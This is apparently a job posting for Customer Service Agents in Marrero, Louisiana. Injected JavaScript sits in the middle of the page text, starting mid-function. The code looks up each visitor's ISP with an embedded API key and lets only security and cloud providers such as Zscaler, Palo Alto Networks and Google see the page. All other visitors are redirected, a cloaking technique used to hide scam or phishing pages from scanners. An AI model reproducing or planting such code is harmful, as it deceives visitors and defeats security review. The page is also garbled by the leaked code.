Customer Service Agent (FT & PT)

Customer Service Agent (FT & PT)

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking motivated Customer Service Agents (FT & PT) to join our team in Marrero, Louisiana.

Responsibilities include:

  • Providing exceptional assistance to customers via phone, email, and chat
  • Resolving inquiries, complaints, and technical issues promptly
  • Maintaining accurate records of customer interactions
  • Supporting team efforts to improve service quality and efficiency

Skills needed:

  • Excellent communication and interpersonal skills
  • Strong problem-solving abilities
  • Ability to work independently and as part of a team
  • Adaptability and a positive attitude

Benefits:

  • Competitive pay and flexible scheduling options
  • Comprehensive training and ongoing support
  • Growth opportunities within the organization
  • Health, dental, and vision insurance (for FT roles)
Emploment Location
Louisiana, Marrero

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